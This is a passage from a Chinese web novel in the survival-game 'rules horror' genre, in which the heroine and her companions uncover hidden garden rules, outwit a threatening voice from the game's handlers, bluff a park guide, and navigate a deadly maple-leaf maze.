也许是许舟平缓的语气带给了男人一些安心感，他狐疑地扫视三人，喘着粗气说道：“是一个和你们长得很像的人！”
随后，他自己说出的这句话仿佛触动了他的雷点，刚刚稳定些许的男人再次爆发出大叫：“不对！不可能！你们要来伤害我！”
语罢，他一个起身，连滚带爬地逃离了现场。
许舟刚想跟上，沈霁便摇了摇头：“他这个样子，已经问不出什么了。”
许舟迟疑片刻，认可地点了点头。
她垂眸看向三个冰雕人，阳光洒落在冰雕上，散发出明亮的反光。
许舟寻思半晌后眸光微动：“也许，我发现了新的规则。”
80. 四季植物园（20）
风静静地吹着，可因为是冬天的风，再温柔的抚摸都变成了锋利的冰刀，击打着三人的脸庞，曲心奕和沈霁不由得再次缩了缩肩膀。
许舟不为所动，她的眸光倒映着一个变成冰雕的女人，而女人身上剔透的冰则又成为了一块最自然的镜子。
许舟便借助冰雕人，看见伸向湖中央的一根树枝上不知被谁放上去的一块摇摇欲坠的木牌。
其材质，和景区告示牌的材质不能说是十分相似，只能说是一模一样。
沈霁走到许舟身旁，从她的角度出发，看向她目光所及之处的那块木牌，瞬间便理解了她话语的含义。
“看样子这根树枝不是很高，找点垫脚的东西就能拿到。”许舟轻松地说道，顺便轻轻一仰，抬眸望向方才在镜中看到的树枝。
空气凝结起一种奇妙的氛围，整个湖面陷入了安静之中。
“木牌呢？？？”
不知是谁惊呼了一句。
风渐渐平息，许舟的心情也随之平复。
她垂眼看向刚刚充当镜子的冰雕人，只见冰雕人身上倒映的木牌安然无恙地挂在树枝上。
“冰面...镜子...”许舟一拍脑袋，恍然大悟，“这冰面，不正好充当了镜子吗？！和普通的镜子有着一样的功效，照出被植物隐藏的物品。”
“但是现在在冬区找到果浆，可以说是难事一桩。”曲心奕愁眉苦脸地说。
沈霁看向堆积如山的大小镜子，摇了摇头，说道：“不必这么麻烦，这不是可以就地取材吗？”
“再说了，我记得某人从夏区回收站带来了一个化妆镜...？”沈霁的目光移向许舟。
“对诶！我们只要找到垫脚物就可以了！让一个人上去用镜子照木牌，也是一样的效果。”曲心奕眼睛弯成了月牙，“许舟妹妹，你也太有先见之明了！还随身带着镜子！”
许舟接连后退两步，说道：“心奕姐姐夸得我都不好意思了。不过要我说，垫脚物也可以就地取材...”
说罢，许舟嘴角含笑地像“镜子山”旁走去两步。
“直接用这些镜子垫脚！？”曲心奕说道，“暴敛天物！”
话是这么说，但曲心奕身体却很诚实，她率先向前，把这堆镜子往树枝的正下方移动。
许舟和沈霁也赶忙上前帮忙。
一顿推拉移的操作，用镜子组成的小台阶便出现在三人面前。
许舟不由分说地刚要“上台阶”，便被曲心奕打断：“等一等——”
她弯腰拾起一个大小适宜的化妆镜，说道：“我也留一个镜子在身上。”
许舟嗤笑一声，爬了上去，而后拿出化妆镜，在树枝与自己的跟前一通照。
“果然是重要规则！”许舟兴高采烈的声音从上方传来。
而木牌上——
***
8.春区中不会下雨，如遇春雨绵绵请立即寻找掩体。
9.夏区中任何浆果不可食用，如感饥肠辘辘，请食用与植物无关的食物。
10.秋区中不会出现大量集中的花叶或麦田，如遇花繁果茂，请尽快远离。
11.冬区中不会出现化水的冰，如遇冰雪消融，请避免身上被沾湿。
感谢您抽空参观四季植物园，祝您旅途愉快。
***
许舟依次大声念了出来。
临了，她再次确认四条新规则的笔迹，而后才缓缓从镜子台阶上下来。
沈霁讥诮道：“原来剩下的规则被冬区的植物藏了起来，你这个冬区生命之冠可真是深藏不露。”
“对啊对啊，这十一条应该就是植物园的全部规则了。”曲心奕附和道，“十一条后的这句结语，恰好说明植物园的规则就这么多。”
“啧啧啧，我也没想到自己这么厉害。”许舟满面无辜地摊摊手。
“对了，这四条规则和结语的字迹怎么样？”沈霁像是突然想到了什么一般，问道。
“哎呀，我办事还不放心吗？”许舟不满意地嘟囔道，“我专门观察过了，字迹和先前七条真规则的笔迹一样，这四条也是真规则。”
“话说你们那应该也出现过假规则吧？”提到真假规则的问题后，曲心奕按捺不住心中好奇，问道。
“有啊，我们在酒店见到假的第八条规则‘植物园内禁止自带干粮饮品’，就是为了误导我们触犯夏区禁忌。”许舟点点头。
“我刚开始就出现在春区，春区也有假的第八条规则‘如遇下雨天气，可以尽情享受沐浴在雨中的感觉’，估计也是为了让我们触犯春区禁忌。”曲心奕心有余悸地说道，“谁能想到视觉上的绵绵细雨，实际上是一片片带有锋利锯齿的叶子呢？”
“现在我们已经大概把握四区植物的主要杀人方式，接下来的路要好走许多。”沈霁语调闲散地提醒，“不过需要注意，即使不在自己区内，植物也是可以杀人的。比如冬季植物也可以在夏季区动手。”
许舟会意，想到了冰雕人左通海。
沈霁说罢，低下头观察起横七竖八的三个变成冰雕的人。
曲心奕便趁机拍了拍许舟的肩膀：“你刚刚念的四个四字词组是什么来着...？”
“什么四次词组？”许舟有点懵。
曲心奕侧脸看了看全神贯注的沈霁，将许舟往反方向拉了拉，耳语道：“就是树上剩下四条规则里四个季节区的死亡条件概述。”
许舟低声道：“春区是春雨绵绵，夏区是饥肠辘辘，秋区是花繁果茂，冬区是冰雪消融。”
曲心奕打了个响指，惊动了一边的沈霁，他狐疑地看向一时激动的曲心奕和许舟。
许舟不可名状地一笑：“我们想起一件高兴的事情。”
沈霁沉默半晌，继续低头看向冰雕人：“你看三个冰雕人的手腕。”
“这四个四字词组，应该就是四区植物的异能名称。”曲心奕最后在许舟耳畔说道，而后两人一前一后走上前去。
“他们的腕带...都是蓝色的。”许舟微眯双眼，有些沉重地说道。
三人都是玩家。
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“冬区一连出现几个蓝色腕带的人，基本可以确认蓝色腕带代表冬天。”许舟说道，“只不过...他们...”
“一同触犯死亡条件的可能性太低了。”沈霁若有所思地说道。
“你的意思是...有人故意引导他们触犯死亡条件？”
“没错，还记得刚刚跑掉的那个男人吗？他提到做这些事的人与‘你们’长得很像...”沈霁稍加停顿。
随后他咽了口口水，天寒地冻之下一口气说这么多话让他的嗓子有些干疼。
许舟垂眸道：“你是普通游客，也没什么特征，这个‘你们’只能是我和曲心奕。长得像我们的人...不是植物就是引导员。”
鬼使神差地，许舟心里想到了一个人选...
只不过，她不想让沈霁知道。
“其实有一件事我还没说。”曲心奕的面色难得凝重如石头，“这位..咳咳，沈霁来到冬区是为了确认蓝色所代表的颜色。当时你们已经确认了秋天和夏天的代表色，而我先前身处春区，按理来说可以帮你们确认春天的代表色。”
“但你却没有这么做...”许舟脸色苍白如纸，“因为春区的游客全部死亡？”
“没错，当我见到他们的时候，他们已经被锯齿叶雨刺死在了春季主题酒店后。”
“但是，即使他们死了，你也可以看见他们的腕带啊。难道说...”许舟不敢继续想下去。
“但就是这样，他们的手无一例外被人砍断了，腕带随着他们的手一块消失了。我也是后来才发现他们就是游客。”
“没有外力辅助，腕带是很难摘下来的。”沈霁解除双腕的蔓舞千丝，拔了拔蓝色腕带，“这一定是刻意而为，目的可能是去除他们的腕带，混淆他们所处的季节阵营。”
“其实你可以在冬区找一个变成了人形的植物问问。”曲心奕突发奇想，用轻快的语调说道，“你是冬区的生命之冠啊。这是谁做的一问便知。”
她这话一出，凝重的氛围轻松不少。
“话是这么说，找一个变成人形的冬区植物可不容易。”许舟不情不愿地说道，“这事只能暂时搁置了。主线还是找生命之心。”
“你们接下来要去秋区了吧？”曲心奕像想起了什么似的，“你要是撞脸那个扮演仙客来的引导员就不好了，我没记错的话她这次排班在冬区。”
这话提醒了许舟——到分别的时候了。
她眸中的光沉了沉：“嗯，你找生命之心的时候要小心。”
虽然许舟是冬区生命之冠，但彼此都心知肚明她没办法让冬区植物不伤害曲心奕，因为一切异常且不符合行为逻辑的举动都有可能被副本的NPC发现。
许舟已经吃过一次小甜的亏了。
“放心啦放心啦。”曲心奕的嘴角微微牵动。
说罢，三人便在冰湖中心分离。
“我有件事想问问你。”沈霁回头看了眼远去的曲心奕，确定她听不到后说道，“有什么办法可以彻底离开副本吗？”
81. 四季植物园（21）
许舟并未回应，只是加快了步伐，明亮的双眸很快就映出了冬季主题酒店。
逃避，躲闪，成为她这短短数十秒的方针。
沈霁见状，只以为是自己的声音在空旷的冬季园区内过于渺小，以至于许舟没有听到。
他快步跟上前去，再次问道：“那个...有什么彻底脱离副本的办法吗？”
这次，许舟避无可避，但她一时却也不知应当如何回答。
如果她知道彻底脱离副本的办法，现在她还会出现在这里，让他对自己问出这个问题？
但是，自己声称是副本和系统的创造者，若是不知道...也太奇怪了吧？！
思索再三，许舟眼神躲闪，打起马虎眼：“这么想走？”
“虽然我在现实世界没有亲人，朋友也不多，但终归还是希望回归正常的生活。”沈霁有些倦容地说道。
这是沈霁第一次提及自己现实生活中的事情。
许舟隐隐能察觉到，弥漫在空气中那股淡淡的悲伤。
一时之间，许舟有些哑然。
她张了张嘴，却说不出话。
许舟不明缘由地感到心里好像被什么东西揪了一下，又淡淡地感到不安——很快，自己的身份恐怕也瞒不住了。
——不如就告诉他BOSS阵营的特殊玩家的事情吧？
脑海中不知怎么地，播放出了这样一句话。
许舟确信，她在脑海听到的话语，绝不是出自她的声音，但这句话却又准确无误地说出了她内心正在产生的想法。
准确无误，此刻，此时，内心的想法。
心跳在胸口怦怦乱跳。
危险与不安漫上心头。
但是，告诉沈霁BOSS阵营的存在，又怎么样呢？
竞速型副本的出现无疑在提醒着众人，BOSS阵营玩家和普通玩家可以合作，先前担心普通玩家探索到副本真相而影响到自己奖励的顾虑已经渐渐消散。
许舟咬了咬牙，下定决心，再次张口。
沈霁期盼地看着他，以为自己即将获得关于离开副本的方法。
下一秒，那声音再次在许舟的脑海里响起。
——你想告诉他了，对吗？
不同于系统在脑海中的AI女音。
这两次响起的声音是低沉而阴冷的男声，没有温度，却带着人类的情绪，许舟确信，这声音源于人类，而非AI。
“是没有办法吗？”沈霁见许舟张口而不言，疑惑地问道。
许舟摇了摇头，但却不是对沈霁的回答，而是对脑海里的男声。
——你骗不了我，你想告诉他，想告诉他BOSS阵营的事情。
随之而来的是笃定的回应。
一味的退让只会让对面步步紧逼，许舟忍无可忍，她冷静地在脑海里说——
“我告诉他又怎样？我记得论坛上只是不建议告诉普通玩家关于BOSS玩家阵营的事情，没有明令禁止吧？”
优秀的记忆力在此发挥了作用，她搬出论坛规则来应对声音的主人。
脑海中的声音不见了。
良久，许舟平复了心情，决意和副本对着干。
一直遵守副本的规则，难道就是对的了吗？
她轻声说道：“其实我...”
话未说完，严厉声音顿时在她的脑海里响起。
声音不容置疑而又让许舟感到十足大的音量，一股无名的头痛爆发。
——不能告诉普通玩家。从现在开始，一切告诉普通玩家关于BOSS阵营特殊玩家的存在的人...
声音顿了一下，紧随其后的是更肯定的语调。
——杀，无，赦。
一字一顿，每一下都让许舟感到排山倒海的呕吐感。
她蹲下身子，将膝盖覆在自己的腹部，以减缓呕吐的感觉。
但在许舟低头之际，她的嘴角却流露出了一个不易察觉的微笑。
男人虽然声音低沉而又极具威严，但却不惜用这种让人生理难受的方式去紧急打断她的话语，这只能说明——
系统与副本的幕后人员急了。
他们利用竞速型副本看BOSS阵营的特殊玩家与普通玩家达成合作，却又不想让他们真正的合作。
犹如在斗兽场观看兽类或奴隶角斗的人们，希望搞出一些新花样，却不希望自己的奴隶真正的威胁到自己。
但是副本的幕后人员的着急，正是说明了BOSS阵营玩家与普通玩家的合作有可能是一个破局的方向。
这会成为他们反抗的开始。
等那难以忍受的痛苦逐渐离去，许舟才渐渐直起身来，看向神情带着关心的沈霁。
他有些悔意地问道：“我是不是不该问这个问题？”
“没错，我是副本和系统的创造者，为了维持运作平衡，不能向任何人透露。记住，你们只是我们的玩具。”许舟厉声说道。
沈霁一愣，他没想到许舟会在极短的时间内态度发生翻天覆地的变化。
“但我们身为玩家，也有争取自由的权力。我能理解你不说，但我会继续查下去的，虽然你们身在异世界，但我们也未必反抗不了你们。”沉默半晌，他缓缓说道。
听了他的话，许舟的双眸却微不可察地一亮，她感到一阵惊讶——他提到了异世界的事情。
而副本和系统来自一个异世界的事情，她也是不久前才从思北的人口中得知。
那么，沈霁还知道多少事情？
他对副本和系统的了解和掌握，也许超出了自己的想象。
一个有些异想天开的主意在许舟心里油然而生。
许舟表面丝毫不在意沈霁对自己的看法，不咸不淡地问道：“现在我们意见有分歧，你还愿意一起行动吗？”
沈霁蹙了蹙眉，他也没想到许舟还会开口问自己。
他迟疑片刻，目光却移向了许舟突然有所动作的右手。
许舟将右手捂在自己的肚子上，嘴里不时发出“咕咕”的声音。
沈霁顿感心里一片明亮，他微不可察地勾了勾唇角，嘴里却在问道：“饿了？”
许舟淡淡地一笑：“对。”
在系统和未知男人的眼里，自己和沈霁已经恢复了正常的谈话，不会再提及BOSS阵营的事情。
然而许舟心里却开始盘算起了对付系统的小九九。
男人声音总是断断续续地响起，甚至有时与许舟心理活动不搭调，尤其是许舟在心里坚定地反问他时，他并没有给出答复。
就此，许舟大胆猜测他只能监控自己的行为举止，却不能捕捉她内心的想法。
他的部分话语，只是对许舟心理活动的猜测，也许男人善于察言观色，也许他只是凭借着盯梢数
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以千计副本的经验，总之，他往往猜得很准。
但终究他没有办法真的读取许舟的内心。
或许是长期对大量玩家生杀予夺，百密终有一疏的他不会想到许舟在受到威胁后仍盘算着反抗，仍在阳奉阴违。
虽然有时系统能与许舟脑海的想法对话，但许舟却基本确定系统现在不在线，否则系统刚刚应该不会一言不发，而交由躲在幕后的男人出言威逼。
至于不在线的原因...
“那个是内侧副本，有bug，很正常。”
系统AI女音在许舟进入“四季植物园”前时在她脑海里说的这句话仿佛就在刚才。
bug？
定期检修？
不重要，管他呢。
不知不觉见，两人一路无言地走进冬季主题酒店。
在与夏季主题酒店相同的位置处，果然是这里的餐厅，只不过冬季主题酒店的餐厅地面都被薄薄一层雪所覆盖。
而更恰巧的是，现在是新一天的午餐时间。
许舟故意大声哀嚎：“好饿啊，饿死了。”
“确实，我也很饿。”沈霁摸了摸肚子。
两人喊饿声此起彼伏，心里却不约而同地想着不同的事情。
许舟小心翼翼而又觉得有些刺激——男人会信我们这精彩绝伦的“饿了”表演吗？
而沈霁内心更多地被疑惑占据——为什么要装饿？许舟想告诉我什么？是还有别人在监视我们吗？
许舟走到自助桌前，旁若无人地把一个碗捧在怀里。
“咳咳。”
沈霁用余光似有若无地瞟向许舟。
只见她拿起了第二个碗，叠到第一个碗上。
紧接着，第三个...第四个...
直至许舟捧着一大摞碗，她才心满意足地点点头，解释道：“我突然产生了种特殊的洁癖，那就是一个碗里只能装一种食物。但是这里丰富的食物我都想尝尝，所以...”
在其他工作人员看怪人的注目礼下，许舟淡定自若地走到一个桌子前，把碗在桌上摆开。
当许舟的怀里还剩下两个碗时，沈霁快步走到她的身边，拿起最后的两个碗，在桌上剩下的位置摆开。
许舟抬眸，对上沈霁闪烁着光芒的漆黑漂亮的眼眸。
两人默契地一笑，完成了无声的约定。
“这两人干嘛拿这么多碗？”
“不知道啊。这个女生还是引导员吧？”
“还好碗的数量充足...尊重他人喜好吧。”
许舟回头，看见一旁的桌子上有三个NPC在嘀嘀咕咕。
发觉许舟在看自己，方向面朝许舟的两人不自觉地噤声。
许舟咧了咧嘴角。
剩下的背对许舟的女人还没察觉到身后的异样。
“这女生面生，穿着倒和我的服装有点像。”她仍在说着，“不过我吃饭时都不穿引导员的扮演服饰，连吃饭时也扮演植物也太累了。”
面朝许舟的两人默契地挤眉弄眼一阵，背对许舟的女人疑惑地回过头来。
她的表情在短短几秒千变万化。
刚开始，是发现自己的议论被本人听见的尴尬。
紧接着，她瞳孔微缩，大声问许舟道：“刚刚离你太远，我还没认出来！为什么你扮演的也是仙客来？！”
“江年盈？”
82. 四季植物园（22）
许舟目瞪口呆，不由自主地说出当下唯一能想到的名字。
不会这么巧吧。
来到冬区不足一天，甚至在将要离开之际，就遇到了自己冒充的那位引导员——江年盈。
只见眼前的女人微眯双眼，眉眼乌沉，直勾勾地打量许舟的脸庞，思衬良久。
须臾，她的神情被疑惑占据：“你认识我？”
“原来是年盈的朋友，刚刚真是误会...”面朝许舟的其中一人打着哈哈。
只见另一人掐了他的胳膊一下：“你别说了。”
而许舟已然脸色乌青。
怎么真的就是这么巧啊！！！
这等运气，不买彩票，实在可惜！
江年盈没有等许舟回应的耐心，她直截了当地直起身，向着餐厅门口走去。
不用言语，许舟便已经知道这位年盈小姐要去举报自己了。
许舟背脊一瞬绷紧，她冲上去，一把拉住了江年盈的肩。
“话说为什么年盈这么生气？”
“你是园区绿化工，不知道很正常。咱们园区每种植物的扮演引导员不超过一个人，而每个引导员扮演的也是特定的植物。这人穿了和年盈所扮演的植物的服装，只能是偷来的啊。”
江年盈的两个同事见发生冲突的两人渐远，便又恢复了刚刚勉强收住的窃窃私语，他们的声音夹在寒冷的冬季主题餐厅中被微风揉碎，待传到许舟耳畔时已经模糊不清。
而江年盈回过头，乌黑的眸子盯着许舟，冷冷地来了一句：“你除了我的扮演服，还偷了什么？”
显然，她已经认定了许舟是个小偷。
“我没拿你扮演服，更没偷你其他东西。”许舟的眉头忍不住紧了紧，“你见过有人偷扮演服吗？这玩意又不贵。”
江年盈抬了抬下巴，并不说话，但从她紧锁的眉眼便能看出，她在思考许舟话的可信度。
半晌，她木着脸：“也不是不可能。别忘了，你连碗都...”
但尾音已经带着点松弛，不再如先前冰冷。
她顿了顿，目光移向许舟摆在桌上的一个个碗。
许舟：“......”
她似乎连自己也觉得自己的做法在外人眼里很荒唐，忍不住轻笑了声。
江年盈垮着脸：“很好笑？”
许舟连忙收起本就不灿烂的笑容，平静地说道：“不好笑。但我确实没偷你的表演服，这不值钱。”
江年盈轻声说道：“给你一个解释的机会。”
“我是游客啊。”许舟俏皮地眨眨眼，“我只是觉得穿成这样来参观更应景。这服装不贵，我买一套没什么吧？”
似乎害怕江年盈不信，许舟还补充道：“你看，那个男人是我朋友，和我一起来参观的，他手腕上还有冬区的蓝色腕带呢。”
说罢，她向沈霁挤挤眼睛。
沈霁：“......？”
江年盈蹙眉看向沈霁，他手腕上用“蔓舞千丝”生长出的藤蔓早已被他收回，露出了天蓝色的腕带。
江年盈而后望向许舟的手腕：“那你的蓝色腕带呢？”
许舟脸不红心不跳：“被扮演服挡住了。这扮演服花瓣这么多。”
江年盈最后抬了抬眼皮：“那你为什么知道我名字？”
许舟心静如水：“因为刚刚你的工作证在你的上衣口袋冒了个头，我刚好瞄到。”
江年盈低头，手不自觉地探向自己的口袋，拿出了工作证。
半晌，她愧疚地说道：“真的很抱歉，冤枉你了。”
许舟心里绷紧的弦松了一下。
还好自己记得第六条规则——规则上提及引导员会携带工作证。
如果没有挂在江年盈的脖子上，那就只能在她身上的某个口袋。
“如果有什么需要我帮助的地方，尽管开口。”似乎觉得道歉不够，江年盈又语速飞快地补了一句。
许舟嘴角一勾。
江年盈：“......？”
许舟水灵灵地看着江年盈：“我对植物园的历史很感兴趣，你知道生命之心吗？”
江年盈沉默片刻，走到另外两人的身边，问了句：“你们知道生命之心吗？”
两人不约而同地摇了摇头。
江年盈回到许舟跟前：“不好意思...我们确实不太了解植物园以前的事情。”
意料之中的事情。
如果他们有人对四区植物斗争的事情知情，很容易会把自己的身份往植物的方向想。
但事实上，他们并没有。
“不过，我以前排班到秋区的时候......”江年盈似是灵光一闪，“看见园长捧着四颗长得有点像心脏的东西走进秋区，离开的时候他怀里只剩下三颗。”
江年盈又是一顿，似乎艰难地在回忆里检索可靠的碎片：“当时我问园长是什么，园长说是一种新型肥料。不知道是不是你们说的植物之心？”
新型肥料...？
这都有人信？
不过这是个普通NPC，换在现实世界的植物园，有人捧着几颗“心脏”，我也不会往灵异的方向想。
许舟微不可察地点点头——嗯，可以理解。
“你见到的那四颗‘心脏’，是什么颜色的？”沈霁神色不明道。
“呃，这个...”江年盈有些为难，皱了皱眉，“我只记得他用在秋区的那颗是蓝色的，其他几颗...抱歉，实在想不起来了。”
许舟心里一动，冲上前去给了江年盈一个大大的拥抱。
江年盈一愣，从许舟拥抱里离开时，往后连退三步：“你你你！”
许舟眉眼一弯：“你帮上大忙了！”
江年盈迟疑道：“这就是生命之心？到底是什么？”
许舟面不改色：“新型肥料。”
江年盈的两个同事面面相觑，抬头看向沈霁，似是求证。
沈霁板着脸：“新型肥料。”
江年盈以及两个同事：“......哦。”
“你们慢慢吃！”许舟留下一桌空碗，飞也似地离开了餐厅。
“啊？你，你不吃了吗？”江年盈明显地又是一愣，而她的声音传到餐厅外时已经模糊不清。
沈霁双手插兜，神色冷淡：“你们慢慢吃。”
说罢，他缓缓离开了餐厅。
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“看来我的生命之心就在秋区了！”许舟见到沈霁，神采飞扬地说道。
“如果生命之心的颜色也与季节一一对应的话，是的。”沈霁面上平淡无常，尾音却也夹杂着一丝喜悦。
毕竟，蓝色，代表的就是冬天，许舟所在的颜色季节，也是沈霁所在的颜色季节。
“对了，那个男人......”许舟侧脸，望向冬季主题酒店的窗外。
冷风已久，甚至，不知何时下起了漫天大雪，为植物着上了一件银装。
沈霁知道，许舟是想到了那堆满镜子的湖面上遇到的惊慌男人。
他安抚道：“他和我都是冬区阵营的，我通关了，他也会通关，奖励多少的问题。”
看样子，他已经默认许舟不知晓普通玩家的通关规则了。
许舟默默看向他的眸子，他明亮的双眸中多了一些沉静——他猜到我的真实身份了吗？
“哦，这方面不归我管。我是个摆烂的领导，这些细枝末节的东西我都不知道。”
尽管如此，许舟还是为自己找补道。
两人的对视中多了几分默契与了然。
这是做给系统与副本幕后的男人看的。
...
在员工通道偷渡玩家的最佳时机，首先是植物园公认的夜晚时间，其次是吃饭的时候。
择时不如撞时。
许舟拉开员工通道的大门，看向空空如也的走道。
她确信，这次梧桐叶子不会再找上门了。
梧桐叶子，是叶子，不是傻子。
许舟愁眉苦脸：“唉，居然有点想梧桐叶子了。”
员工通道某个角落，正在休息的梧桐叶子打了个喷嚏：“谁在想我？”
沈霁语气平淡如常，却带着点调侃的意味：“它应该不想你。”
许舟：“好伤人。”
说罢，两人驾轻就熟地在超长员工通道开始新一次的征程。
良久，他们打开秋区员工通道的大门，进入秋区主题酒店。
一股淡淡的桂花香扑面而来。
但许舟捂住鼻子，轻轻吸了两口气，才放下戒备。
没办法，夏区的两种典型味道——勾起食欲的味道和糜烂的恶臭为许舟弱小的心灵笼罩了一层淡淡的阴影。
秋季主题酒店，将每一处的墙面都披上了一层金黄色的外衣。
地毯选用柔和的米色，温暖而不失格调。
许舟看向员工通道旁的卫生间和不远处的秋季主题餐厅。
这与夏季主题酒店和冬季主题酒店一模一样的格局令许舟赞许地点点头：“设计这座植物园的人，一定是个强迫症。”
踩在柔软的地毯上，每一步都静悄悄的，让许舟感觉到前所未有的宁静与平和。
但当两人走到秋日主题酒店门口时——
许舟：“......我什么也没说过。”
沈霁：“......很会说话，多说。”
想象中与夏区荷花池和冬区冰池类似的大池子并没有呈现在两人面前，取而代之的是......
许舟大声抱怨：“秋区，你们为什么要这样对我！？”
83. 四季植物园（23）
酒店向外不远处，是一面高耸入云的墙。
墙上，覆满了一片片金灿灿的枫叶。
而在阳光的照射下，枫叶的轮廓显得尤为清晰。
“又来？”
身经麦田和梧桐叶两战的许舟看向不远处的枫叶，产生的已经不是要被数不清的枫叶吞噬的紧张感，而是一种见到老朋友的…轻松？
“你之前说什么来着？想念梧桐叶子了？”沈霁漆黑的眸子死死盯着眼前的枫叶群，面无表情，“虽然这些不是梧桐叶，但也差不多了。”
许舟：“……”
驾轻就熟地拿出化妆镜，希冀像梧桐叶子的鬼打墙一样找到出路。
然而，许舟将化妆镜在阳光底下照了又照，晃了又晃。
平静无风的秋区里，这一面高耸的枫叶墙上，别说照出正确的出路了，任何一片叶子都纹丝不动，与现实世界无异。
许舟顿感被秋区戏耍：“真是屋漏偏逢连夜雨的具象化。枫叶墙便罢了，偏偏镜子和现实看到的还一样！”
“换句话说，这不是什么鬼打墙，这枫叶墙可能是……秋区真实存在的。”沈霁语调放缓，吐字清晰。
如果说，梧桐叶子只是制造了鬼打墙，令许舟可以从员工通道两侧的普通墙面离开，是简单模式的关卡。
那么，现如今这面枫叶墙，直接将难度提升到地狱级别。
“喂，你去哪？”
正当许舟对着枫叶墙苦恼时，沈霁向前走了几步。
“去看看这枫叶墙，是何方神圣。”
尾音拖着一丝好奇。
闻言，许舟快步跟了上去：“我还以为你被枫叶勾引了，要被它给淹死。”
沈霁：“……？不至于。”
靠近枫叶墙后，许舟才察觉墙面有五个入口，只不过入口内部的通道左右两侧同样挂满了枫叶，远处看就与外墙无异。
“这是个，枫叶迷宫。”沈霁皱了皱眉，“这个秋区，花样真多。”
“万变不离其宗。”许舟自信满满，“不管是麦田、梧桐叶还是这的枫叶，都是为了让人一头栽进去淹死。”
许舟随机选了最左边的入口，端详起两边的枫叶。
这些枫叶都极其对称，由五个尖角组成，围绕着中心主脉呈扇形展开。
向右侧走了十来步，来到第二个入口处。
其枫叶与第一个入口处的枫叶的形态特征完全相同，若非没有尺子，许舟觉得这里所有的叶子都能被量出一样的尺寸。
并且，两个入口的通道都向左前方延伸。
而唯一的区别，是第一个入口处的通道向左侧偏的幅度更大。
许舟心中渐生不安，但强忍着走到中间的第三个入口。
紧接着，是第四个，第五个......
越往后走，许舟的眉头就蹙得越紧。
沈霁的面色也有如乌云。
第三个入口的通道向正前方延伸，第四个和第五个则向右前方延伸，第五个向右偏的幅度更大。
除此之外，再无任何区别。
“秋区没有风。”许舟烦躁地看着叶子，“没办法通过风，来判断出口对应的通道。”
而沈霁小心翼翼地向墙上靠近，尽可能地贴近而又确保自己不真的触碰到枫叶。
“枫叶与枫叶之间严丝合缝，看不见后面的场景。”沈霁垂眸，不动声色地说。
那就意味着两个人要找到出口，就必须先做一个正确率为五分之一的选择题。
“怎么说？”沈霁踱步回枫叶墙的中央。
“一人一条吧。效率高。”许舟不假思索地说道。
“那你选哪条？”毫无疑问，沈霁默许了许舟的决定。
“嗯...就中间这条。”许舟眨眨眼，乱选一通。
“那我走最左边那条路。”沈霁勾了勾唇，“待会见。”
语罢，许舟便没入正中间的第三条通道之中。
通道很长、很长，所幸是清爽的秋区，对冬区生命之冠许舟来说，这里的气候也恰能接受。
左右墙面始终很高，阳光几乎照不进来。
许舟仍然时不时地掏出化妆镜，心存一丝侥幸——万一真的能照出什么呢？
事与愿违也许才是常态。
不知过了多久，通道依旧笔直，而镜子里呈现的，也不过是一堆又一堆的枫叶。
终于，在前方，笔直的通道出现了一丝变化。
如今，许舟又一次面临选择题。
这次，是一道三选题。
只看见通道左侧出现了一条新的道路，这条路要比许舟一路走来的主路要窄上不小，甚至不容二人并肩通行，哪怕是许舟一个人走，转身时也要小心万分。
而第一个分叉口再向前两步，右侧同样出现了一条新的道路，情况与左侧通道大抵相仿。
左右，是窄道，而前方，是一望无尽的宽道。
“还是走中间吧。左右的通道，感觉稍不留神，就会碰到这叶子。”许舟脑海闪回淹没在麦田中的男人的惨状，不禁打了个颤。
她刚走两步，便顿了顿，强行扯下发尾的一片花瓣，花瓣上粘连了许舟的一根头发，让她一瞬间吃了痛，头发和花瓣一起落到许舟的手里。
她把花瓣放在了原地。
“还是标记一下吧。”许舟自言自语，“虽然这迷宫看起来不复杂，但标记一下，又没损失。”
又是不知过了多久，一模一样的三选题再次出现。
左，中，右。
许舟蹙眉，言语却带着点庆幸：“要不是我在上一个岔路放了花瓣，而这里没有看到那片花瓣，我说不定会以为又是鬼打墙。”
那——这次继续走中间的路吗？
想到这里，许舟摇了摇头：“走窄道试试看。”
她抬眸看向左侧，一锤定音：“就这条吧。”
临出发时，许舟的又一根头发伴随着她扯下花瓣而遭殃，头发和花瓣再次被许舟遗落在地。
这条路明显比原先中间的直路要短上不少，许舟觉得自己似乎，看到了尽头。
但这三面枫叶，模糊了立体感，许舟又不太确定。
再走几步，一股无名大风席卷而至。
这风，来得突然，却迟迟不去。甚至…不知道这迷宫之中，是从哪儿来的风。
大风拉扯着许舟往前走，吹得她头发在空气中胡乱飞舞，讲她的
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头发扯向…两侧的枫叶。
许舟惊觉，急忙用双臂环住头部，以抵挡野风的袭击。
此刻心里只有一个念头——绝对！不能！碰到枫叶！
顺着双臂之间微小的缝隙向前看去，果然已经走到道路的尽头，看着左右离自己距离及其微小的枫叶墙，许舟这才发现这条岔道的尽头处呈尖三角形——两侧墙面在尽头收束。
“好好好！运气真差！假路！”许舟被大风模糊了嗓音，逆着试图裹挟自己的风向后退去。
良久，看到了自己留的花瓣，终于回到了这三岔路口。
而风，随着许舟退出这条错误的岔路，宣告了自己的消失。
排除了左边的道路，许舟重新选择了中间。
“亲爱的头发，对不起你们，回家买点生发液。”许舟又扯了一根头发和花瓣放在原地。
一路向前。
第三个三岔路口、第四个……第六个。
每一个路口的出现，宣告许舟一根头发的消失。
而吸取了前面的教训，许舟从第三个路口开始都选择了中间的路，直到选完第六个路口。
许舟不禁产生怀疑——每一个三岔路口，都是一样的…难道说，什么东西带走了自己留下的花瓣和头发？
“我一直在原地打转？”
“还是鬼打墙？”
“这里能突然出现莫名其妙的风，收走我的花瓣也不是难事吧…？”
“难道我的头发白死了？”
但眼下的路已经走了很久，许舟只好决定待去到下一个路口时再做安排。
然而…
第七个三岔路口没有如期出现。
这条安逸而稳定的，正中央的路，到底了。
两侧的墙在前方收束，形成一个尖尖的三角。
许舟的余光捕捉到身旁的一片枫叶微不可察地动了一下。
又一下。
想到可以沟通的梧桐叶，许舟试着开口：“有人吗？”
“……”
“有叶吗？有树妖吗？”
似乎树妖二字踩中了对方的雷电，身旁的枫叶剧烈晃动好几下，紧接着带动了两侧枫叶墙的摇晃。
而野风，又一次出现。
随后，从道路尖头的位置，两侧的枫叶墙开始不断向中间靠近，仿佛要将许舟活生生夹扁！
“跑！”
许舟回过头来，一个箭步向前，以百米冲刺的速度冲去！
这是一场，枫叶墙与许舟的生死时速。
连着经过六个岔路后，许舟终于回到了起点
气喘吁吁的许舟在原地弯腰休息，而沈霁的身影飞也似地从最左侧的第一个入口蹿出。
